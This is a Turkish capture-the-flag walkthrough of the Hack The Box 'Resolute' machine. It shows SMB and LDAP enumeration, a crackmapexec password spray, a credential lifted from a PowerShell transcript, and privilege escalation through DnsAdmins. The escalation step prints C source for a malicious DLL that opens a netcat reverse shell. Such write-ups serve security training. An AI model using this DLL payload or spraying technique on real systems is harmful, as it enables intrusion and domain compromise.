Hack The Box Resolute Makine Çözümü — shaggy
Açıklama: Selam arkadaşlar, Hack the Box platformunda bulunan** ‘Resolute’ isimli makinenin **çözümünü sizinle paylaşıyor olacağım. Bu konuda Active Directory’de servislerin zararlıya kullanılması hakkında bilgileneceğiz. Çözmesi oldukça zevkli olan bu makineyi gelin çözmeye başlayalım. 🍾 🙌 🎉
Öncelikle ilgili sistem üzerinde çalışan port ve servislerin bilgilerini öğreniyoruz.
1──(root㉿kali)-[/home/kali/Desktop/htb/Resolute]└─# cat resolute-nmap.txt# Nmap 7.94 scan initiated Sat Oct 21 07:50:21 2023 as: nmap --min-rate 7000 -p- -sS -sV -Pn -o resolute-nmap.txt 10.129.77.184Warning: 10.129.77.184 giving up on port because retransmission cap hit (10).Nmap scan report for 10.129.77.184Host is up (0.10s latency).Not shown: 60461 closed tcp ports (reset), 5051 filtered tcp ports (no-response)PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-21 11:58:22Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)9389/tcp open mc-nmf .NET Message Framing49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49671/tcp open msrpc Microsoft Windows RPC49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049677/tcp open msrpc Microsoft Windows RPC49684/tcp open msrpc Microsoft Windows RPC49825/tcp open msrpc Microsoft Windows RPC50438/tcp open msrpc Microsoft Windows RPCService Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Oct 21 07:52:15 2023 -- 1 IP address (1 host up) scanned in 113.48 secondsEnum4Linux toolu ile makine hakkında daha detaylı bilgiler ediniyoruz.
1──(root㉿kali)-[/home/kali/Desktop/htb/Resolute]└─# enum4linux 10.129.77.184 Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Oct 21 07:52:57 2023 =========================================( Target Information )=========================================Target ........... 10.129.77.184RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ===========================( Enumerating Workgroup/Domain on 10.129.77.184 )===========================[E] Can't find workgroup/domain ===============================( Nbtstat Information for 10.129.77.184 )===============================Looking up status of 10.129.77.184No reply from 10.129.77.184 ===================================( Session Check on 10.129.77.184 )===================================[+] Server 10.129.77.184 allows sessions using username '', password '' ================================( Getting domain SID for 10.129.77.184 )================================Domain Name: MEGABANKDomain Sid: S-1-5-21-1392959593-3013219662-3596683436[+] Host is part of a domain (not a workgroup) ==================================( OS information on 10.129.77.184 )================================== [E] Can't get OS info with smbclient [+] Got OS info for 10.129.77.184 from srvinfo: do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED =======================================( Users on 10.129.77.184 )======================================= index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null) index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domainindex: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domainindex: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Accountindex: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)user:[Administrator] rid:[0x1f4]user:[Guest] rid:[0x1f5]user:[krbtgt] rid:[0x1f6]user:[DefaultAccount] rid:[0x1f7]user:[ryan] rid:[0x451]user:[marko] rid:[0x457]user:[sunita] rid:[0x19c9]user:[abigail] rid:[0x19ca]user:[marcus] rid:[0x19cb]user:[sally] rid:[0x19cc]user:[fred] rid:[0x19cd]user:[angela] rid:[0x19ce]user:[felicia] rid:[0x19cf]user:[gustavo] rid:[0x19d0]user:[ulf] rid:[0x19d1]user:[stevie] rid:[0x19d2]user:[claire] rid:[0x19d3]user:[paulo] rid:[0x19d4]user:[steve] rid:[0x19d5]user:[annette] rid:[0x19d6]user:[annika] rid:[0x19d7]user:[per] rid:[0x19d8]user:[claude] rid:[0x19d9]user:[melanie] rid:[0x2775]user:[zach] rid:[0x2776]user:[simon] rid:[0x2777]user:[naoki] rid:[0x2778] =================================( Share Enumeration on 10.129.77.184 )================================= do_connect: Connection to 10.129.77.184 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Sharename Type Comment --------- ---- -------Reconnecting with SMB1 for workgroup listing.Unable to connect with SMB1 -- no workgroup available[+] Attempting to map shares on 10.129.77.184 ===========================( Password Policy Information for 10.129.77.184 )===========================[+] Attaching to 10.129.77.184 using a NULL share[+] Trying protocol 139/SMB... [!] Protocol failed: Cannot request session (Called Name:10.129.77.184)[+] Trying protocol 445/SMB...[+] Found domain(s): [+] MEGABANK [+] Builtin[+] Password Info for Domain: MEGABANK [+] Minimum password length: 7 [+] Password history length: 24 [+] Maximum password age: Not Set [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 [+] Domain Password Complex: 0 [+] Minimum password age: 1 day 4 minutes [+] Reset Account Lockout Counter: 30 minutes [+] Locked Account Duration: 30 minutes [+] Account Lockout Threshold: None [+] Forced Log off Time: Not Set[+] Retieved partial password policy with rpcclient: Password Complexity: Disabled Minimum Password Length: 7 ======================================( Groups on 10.129.77.184 )====================================== [+] Getting builtin groups: group:[Account Operators] rid:[0x224] group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]group:[Incoming Forest Trust Builders] rid:[0x22d]group:[Windows Authorization Access Group] rid:[0x230]group:[Terminal Server License Servers] rid:[0x231]group:[Administrators] rid:[0x220]group:[Users] rid:[0x221]group:[Guests] rid:[0x222]group:[Print Operators] rid:[0x226]group:[Backup Operators] rid:[0x227]group:[Replicator] rid:[0x228]group:[Remote Desktop Users] rid:[0x22b]group:[Network Configuration Operators] rid:[0x22c]group:[Performance Monitor Users] rid:[0x22e]group:[Performance Log Users] rid:[0x22f]group:[Distributed COM Users] rid:[0x232]group:[IIS_IUSRS] rid:[0x238]group:[Cryptographic Operators] rid:[0x239]group:[Event Log Readers] rid:[0x23d]group:[Certificate Service DCOM Access] rid:[0x23e]group:[RDS Remote Access Servers] rid:[0x23f]group:[RDS Endpoint Servers] rid:[0x240]group:[RDS Management Servers] rid:[0x241]group:[Hyper-V Administrators] rid:[0x242]group:[Access Control Assistance Operators] rid:[0x243]group:[Remote Management Users] rid:[0x244]group:[System Managed Accounts Group] rid:[0x245]group:[Storage Replica Administrators] rid:[0x246]group:[Server Operators] rid:[0x225][+] Getting builtin group memberships: Group: Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs Group: Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDsGroup: Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDsGroup: Guests' (RID: 546) has member: Couldn't lookup SIDsGroup: Administrators' (RID: 544) has member: Couldn't lookup SIDsGroup: Users' (RID: 545) has member: Couldn't lookup SIDsGroup: System Managed Accounts Group' (RID: 581) has member: Couldn't lookup SIDsGroup: IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs[+] Getting local groups: group:[Cert Publishers] rid:[0x205] group:[RAS and IAS Servers] rid:[0x229]group:[Allowed RODC Password Replication Group] rid:[0x23b]group:[Denied RODC Password Replication Group] rid:[0x23c]group:[DnsAdmins] rid:[0x44d][+] Getting local group memberships: Group: Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs Group: DnsAdmins' (RID: 1101) has member: Couldn't lookup SIDs[+] Getting domain groups: group:[Enterprise Read-only Domain Controllers] rid:[0x1f2] group:[Domain Admins] rid:[0x200]group:[Domain Users] rid:[0x201]group:[Domain Guests] rid:[0x202]group:[Domain Computers] rid:[0x203]group:[Domain Controllers] rid:[0x204]group:[Schema Admins] rid:[0x206]group:[Enterprise Admins] rid:[0x207]group:[Group Policy Creator Owners] rid:[0x208]group:[Read-only Domain Controllers] rid:[0x209]group:[Cloneable Domain Controllers] rid:[0x20a]group:[Protected Users] rid:[0x20d]group:[Key Admins] rid:[0x20e]group:[Enterprise Key Admins] rid:[0x20f]group:[DnsUpdateProxy] rid:[0x44e]group:[Contractors] rid:[0x44f][+] Getting domain group memberships: Group: 'Enterprise Admins' (RID: 519) has member: MEGABANK\Administrator Group: 'Contractors' (RID: 1103) has member: MEGABANK\ryanGroup: 'Domain Computers' (RID: 515) has member: MEGABANK\MS02$Group: 'Domain Controllers' (RID: 516) has member: MEGABANK\RESOLUTE$Group: 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\AdministratorGroup: 'Domain Admins' (RID: 512) has member: MEGABANK\AdministratorGroup: 'Domain Guests' (RID: 514) has member: MEGABANK\GuestGroup: 'Schema Admins' (RID: 518) has member: MEGABANK\AdministratorGroup: 'Domain Users' (RID: 513) has member: MEGABANK\AdministratorGroup: 'Domain Users' (RID: 513) has member: MEGABANK\DefaultAccountGroup: 'Domain Users' (RID: 513) has member: MEGABANK\krbtgtGroup: 'Domain Users' (RID: 513) has member: MEGABANK\ryanGroup: 'Domain Users' (RID: 513) has member: MEGABANK\markoGroup: 'Domain Users' (RID: 513) has member: MEGABANK\sunitaGroup: 'Domain Users' (RID: 513) has member: MEGABANK\abigailGroup: 'Domain Users' (RID: 513) has member: MEGABANK\marcusGroup: 'Domain Users' (RID: 513) has member: MEGABANK\sallyGroup: 'Domain Users' (RID: 513) has member: MEGABANK\fredGroup: 'Domain Users' (RID: 513) has member: MEGABANK\angelaGroup: 'Domain Users' (RID: 513) has member: MEGABANK\feliciaGroup: 'Domain Users' (RID: 513) has member: MEGABANK\gustavoGroup: 'Domain Users' (RID: 513) has member: MEGABANK\ulfGroup: 'Domain Users' (RID: 513) has member: MEGABANK\stevieGroup: 'Domain Users' (RID: 513) has member: MEGABANK\claireGroup: 'Domain Users' (RID: 513) has member: MEGABANK\pauloGroup: 'Domain Users' (RID: 513) has member: MEGABANK\steveGroup: 'Domain Users' (RID: 513) has member: MEGABANK\annetteGroup: 'Domain Users' (RID: 513) has member: MEGABANK\annikaGroup: 'Domain Users' (RID: 513) has member: MEGABANK\perGroup: 'Domain Users' (RID: 513) has member: MEGABANK\claudeGroup: 'Domain Users' (RID: 513) has member: MEGABANK\melanieGroup: 'Domain Users' (RID: 513) has member: MEGABANK\zachGroup: 'Domain Users' (RID: 513) has member: MEGABANK\simonGroup: 'Domain Users' (RID: 513) has member: MEGABANK\naoki ==================( Users on 10.129.77.184 via RID cycling (RIDS: 500-550,1000-1050) )================== Kullanıcılar hakkında bilgiler veren bölümde gördüğümüz gibi **Marko **kullanıcısının parolası **Welcome123! **olduğunu görmekteyiz.
Edindiğimiz credentiala göre login olmayı denediğimizde başarılı olamadığımızı fark ettik.
Bunun üzerine edindiğimiz kullanıcıları bir text dosyasına atıp edindiğimiz parola ile password spray saldırısı gerçekleştiriyoruz.
Son satırda gördüğümüz gibi **melanie **kullanıcısı ile giriş yapılabileceğimizi gördük.
1crackmapexec smb 10.129.77.184 -u user.txt -p 'Welcome123!'SMB 10.129.77.184 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\Guest:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\DefaultAccount:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE ^C[*] Shutting down, please wait...SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE SMB 10.129.77.184 445 RESOLUTE [+] megabank.local\melanie:Welcome123!Ardından user flag’ını aldık.
C Dizininini -force parametresi ile gizli dosyaları listelediğimizde **PSTranscripts **klasörü dikkat çekiyor. İçerisinde yine aynı şekilde gizli olarak 20191203 isimli klasör mevcut.
Klasör içinde **PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt adında **bir dosya mevcut, dosya içeriği aşağıdaki gibidir. Kodları incelediğimizde
1>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!satırı dikkat çekmektedir. Burada Ryan kullanıcısının credential’ı göze çarpmaktadır.
1---Windows PowerShell transcript startStart time: 20191203063201Username: MEGABANK\ryanRunAs User: MEGABANK\ryanMachine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)Host Application: C:\Windows\system32\wsmprovhost.exe -EmbeddingProcess ID: 2800PSVersion: 5.1.14393.2273PSEdition: DesktopPSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273BuildVersion: 10.0.14393.2273CLRVersion: 4.0.30319.42000WSManStackVersion: 3.0PSRemotingProtocolVersion: 2.3SerializationVersion: 1.1.0.1---Command start time: 20191203063455---PS>TerminatingError(): "System error."> CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"CommandInvocation(Out-String): "Out-String"ParameterBinding(Out-String): name="Stream"; value="True"> ---Command start time: 20191203063455---PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "PS megabank\ryan@RESOLUTE Documents>---Command start time: 20191203063515---PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!> if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"> CommandInvocation(Out-String): "Out-String"ParameterBinding(Out-String): name="Stream"; value="True"> ---Windows PowerShell transcript startStart time: 20191203063515Username: MEGABANK\ryanRunAs User: MEGABANK\ryanMachine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)Host Application: C:\Windows\system32\wsmprovhost.exe -EmbeddingProcess ID: 2800PSVersion: 5.1.14393.2273PSEdition: DesktopPSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273BuildVersion: 10.0.14393.2273CLRVersion: 4.0.30319.42000WSManStackVersion: 3.0PSRemotingProtocolVersion: 2.3SerializationVersion: 1.1.0.1------Command start time: 20191203063515---PS>CommandInvocation(Out-String): "Out-String"> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"cmd : The syntax of this command is:At line:1 char:1> - cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!- `+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError`cmd : The syntax of this command is:At line:1 char:1- cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!- `+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError`---Windows PowerShell transcript startStart time: 20191203063515Username: MEGABANK\ryanRunAs User: MEGABANK\ryanMachine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)Host Application: C:\Windows\system32\wsmprovhost.exe -EmbeddingProcess ID: 2800PSVersion: 5.1.14393.2273PSEdition: DesktopPSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273BuildVersion: 10.0.14393.2273CLRVersion: 4.0.30319.42000WSManStackVersion: 3.0PSRemotingProtocolVersion: 2.3SerializationVersion: 1.1.0.1---Ryan isimli kullanıcıyla bağlandığımızda desktop dizininde note.txt ile karşılaştık. Hedef sistem üzerinde içerisinde yapılan değişikliklerin kısa bir süre sonra tekrar eskisine döndürüleceğinden bahseden bir not bulduk.Note.txt:
1- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
Ryan’ın dnsadmins grubunun bir üyesi olduğunu görüyoruz.
1Evil-WinRM* PS C:\Users\ryan\Desktop> whoami /groupsGROUP INFORMATION-----------------Group Name Type SID Attributes========================================== ================ ============================================== ===============================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled groupBUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled groupBUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled groupBUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled groupMEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled groupMEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local GroupNT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled groupMandatory Label\Medium Mandatory Level Label S-1-16-8192Dnsadmins grubunu DLL Injection (DLL injection hakkında kısaca: Saldırgan kendi kodunu hedef sistem içerisine belli başlı dll dosyasının içerisine yerleştirmesiyle oluşan bir zafiyettir.) ile privilege escalation yapmak için kullanabiliriz. ( detaylı link ) Ben aşağıdaki kod bloğunu kullandım.
1#include "stdafx.h"#include <stdlib.h>BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe <IP> <PORT>"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}Ardndan hedef makineye dll dosyamızı atıp servisini durdurup yeniden başlatırken kendimizden de belirttiğimiz porttan netcat ile dinleyebiliriz.
Artık root bayrağımızı alabiliriz.
1C:\Users\Administrator\Desktop>type root.txtOkuduğunuz için teşekkürler, iyi çalışmalar dilerim. :)